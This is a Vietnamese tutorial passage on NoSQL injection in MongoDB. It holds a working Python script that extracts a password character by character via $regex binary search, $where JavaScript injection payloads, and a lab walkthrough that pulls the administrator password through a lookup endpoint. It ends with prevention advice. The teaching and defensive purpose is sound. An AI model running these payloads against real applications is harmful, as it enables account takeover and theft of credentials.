V. Trích xuất dữ liệu hiệu quả hơn
Trong bài viết trước chúng ta đã tìm hiểu về phương pháp sử dụng tấn công brute force kết hợp toán tử $regex
tìm ra từng ký tự của dữ liệu trong bảng. Có thể kết hợp thuật toán tìm kiếm Binary search để tối ưu thời gian tìm kiếm mật khẩu, chương trình minh họa:
# A function that returns True if the regex passes
def test_password(regex): data = { "username": "admin", "password": { "$regex": regex } } r = requests.post(URL, json=data, allow_redirects=False) return not 'Login Failed' in r.text # Binary Search algorithm
def search_once(test_function, prefix=""): min = 0 max = 127 while min <= max: mid = (min + max) // 2 if test_function(fr'^{re.escape(prefix)}[\x{mid:02x}-\x7f]'): min = mid + 1 else: max = mid - 1 return chr(max) # Keep searching until whole string found
def search(test_function): found = "" while True: found += search_once(test_function, prefix=found) print(found) if test_function(fr'^{found}$'): return found password = search(test_password)
print(password)
Trong phần này, chúng ta tiếp tục xem xét một số cách trích xuất dữ liệu hiệu quả hơn.
Một số toán tử và hàm cho phép thực thi một phần Javascript code, chẳng hạn toán tử $where
, hàm mapReduce()
, eval()
trong MongoDB. Khi ứng dụng triển khai chương trình sử dụng chúng theo cách không an toàn sẽ có thể trở thành điểm tấn công của attacker.
1. Ví dụ sử dụng sai toán tử $where
trong MongoDB
$where
cho phép chạy các đoạn mã JavaScript tùy chỉnh để lọc tài liệu. Đây là một lựa chọn hiệu quả khi truy vấn cần điều kiện phức tạp, khó xử lý qua các toán tử truy vấn thông thường.
Ví dụ: Lọc các tài liệu có trường age
lớn hơn height
(tuổi lớn hơn chiều cao):
db.collection.find({ $where: function() { return this.age > this.height; }
});
Trong ví dụ này, $where
sử dụng một hàm JavaScript để so sánh age
và height
trong mỗi tài liệu, chỉ trả về các tài liệu thỏa mãn điều kiện.
Khi ứng dụng đưa trực tiếp dữ liệu đầu vào từ người dùng vào truy vấn $where
, sẽ dẫn đến lỗ hổng NoSQL injection. Xét đoạn code với truy vấn chứa lỗi sau:
db.users.find({ $where: function() { return this.username === userInput; }
});
Truy vấn tìm kiếm người dùng theo tên, nhưng không thực hiện sàng lọc input từ người dùng. Attacker có thể truyền vào một đoạn mã JavaScript để truy xuất tất cả dữ liệu trong collection users
, chẳng hạn với payload:
userInput = "''; return true; //"
Truy vấn trở thành:
db.users.find({ $where: function() { return this.username === ''; return true; // }
});
Kết quả $where
sẽ trả về tất cả các tài liệu trong users
vì điều kiện return true;
luôn đúng, giúp attacker lấy toàn bộ dữ liệu mà không cần biết tên người dùng cụ thể.
2. Phân tích lab Exploiting NoSQL injection to extract data
Chúng ta sẽ cùng phân tích bài lab Exploiting NoSQL injection to extract data để hiểu sâu về kỹ thuật trích xuất dữ liệu nâng cao này. Mục đích của bài lab cần lấy được mật khẩu của người dùng administrator
. Tài khoản người dùng thường đã được cung cấp wiener:peter
.
Sau khi đăng nhập với người dùng wiener
, ứng dụng dẫn tới trang chứa thông tin người dùng, bao gồm username
, role
, email
:
Quan sát lịch sử các request và response từ proxy BurpSuite, có thể thấy request với endpoint /user/lookup
, đây chính là API lấy thông tin người dùng dựa vào tham số user
:
Có thể thấy ngay API này chứa lỗi IDOR cho phép xem thông tin người dùng bất kỳ, chẳng hạn administrator
:
Để kiểm tra vị trí này tồn tại lỗ hổng NoSQL injection hay không, chúng ta có thể sử dụng ký tự +
trong JavaScript kiểm tra cộng chuỗi 'administrato'+'r'
, payload ?user=administrato'%2b'r
(URL encode), response trả về thành công:
Để chắc chắn hơn, kiểm tra thêm với:
Payload administrator' && '1'=='2
không trả về bản ghi nào:
Payload administrator' && '1'=='1
trả về bản ghi administrator
thành công:
Tới đây thì mọi chuyện trở nên dễ dàng! Xác định độ dài mật khẩu với payload administrator' && this.password.length < 10 || 'a'=='b
, giảm dần độ dài cho tới khi response không trả về thông tin:
Xác định được độ dài mật khẩu là .
Công việc cuối cùng là tìm kiếm từng ký tự của mật khẩu với payload administrator' && this.password[0]=='a
Có thể sử dụng tính năng Intruder của BurpSuite, sử dụng script tự động, các thuật toán tìm kiếm để tối ưu hóa thời gian.
Bạn đọc có thể luyện tập thêm với bài lab Exploiting NoSQL operator injection to extract unknown fields.
VI. Công cụ NoSQL map
Bên cạnh các kỹ thuật tấn công thủ công, chúng ta có thể sử dụng một số công cụ tự động với NoSQL injection. Một trong những công cụ được yêu chuộng của dạng lỗ hổng này là NoSQLmap có mã nguồn mở tại Github, link cài đặt: https://github.com/codingo/NoSQLMap
VII. Ngăn chặn NoSQL injection
1. Làm sạch và xác thực đầu vào
Xác minh và giới hạn kiểu dữ liệu mà ứng dụng nhận từ người dùng (ví dụ: chỉ cho phép các ký tự chữ và số).
Loại bỏ các ký tự đặc biệt hoặc các ký tự có thể gây lỗi cú pháp, chẳng hạn như '
, "
, ;
, {
, }
, &&
, ||
, và ký tự null \u0000
.
Chẳng hạn một hàm sanitizeCategoryInput()
chỉ cho phép các ký tự chữ và số:
function sanitizeCategoryInput(category) { const sanitizedCategory = category.replace(/[^a-zA-Z0-9]/g, ''); return sanitizedCategory;
}
2. Sử dụng các thư viện kiểm tra đầu vào
Dùng thư viện hoặc middleware để xử lý và kiểm tra đầu vào, đảm bảo rằng chỉ những giá trị hợp lệ mới được đưa vào truy vấn. Ví dụ sử dụng các thư viện như validator
hoặc express-validator
:
const { query, validationResult } = require('express-validator'); app.get('/product/lookup', [ query('category').isAlphanumeric().withMessage('Category chỉ cho phép chữ và số'),
], async (req, res) => { const errors = validationResult(req); if (!errors.isEmpty()) { return res.status(400).json({ errors: errors.array() }); } const category = req.query.category; try { const products = await Product.find({ category: category, released: true }); res.json(products); } catch (error) { res.status(500).json({ message: 'Lỗi truy vấn', error: error.message }); }
});
3. Thay thế các điều kiện truy vấn bằng tham số hóa
Khi có thể, sử dụng các phương pháp khác để kiểm tra các giá trị đầu vào hợp lệ, chẳng hạn như đưa ra danh sách chọn tĩnh từ phía server thay vì để người dùng nhập trực tiếp.
const allowedCategories = ['fizzy', 'juice', 'snacks']; app.get('/product/lookup', async (req, res) => { let category = req.query.category; if (!allowedCategories.includes(category)) { return res.status(400).json({ message: 'Danh mục không hợp lệ' }); } try { const products = await Product.find({ category: category, released: true }); res.json(products); } catch (error) { res.status(500).json({ message: 'Lỗi truy vấn', error: error.message }); }
});
4. Sử dụng các công cụ lọc như MongoDB $regex
an toàn:
Khi cần tìm kiếm linh hoạt, hãy sử dụng $regex
với kiểm tra chặt chẽ hoặc các phương thức lọc khác thay vì truy vấn trực tiếp.
app.get('/product/lookup', async (req, res) => { let category = req.query.category; if (!category || !/^[a-zA-Z0-9]+$/.test(category)) { return res.status(400).json({ message: 'Danh mục không hợp lệ' }); } try { const products = await Product.find({ category: { $regex: new RegExp(`^${category}$`, 'i') }, released: true }); res.json(products); } catch (error) { res.status(500).json({ message: 'Lỗi truy vấn', error: error.message }); }
});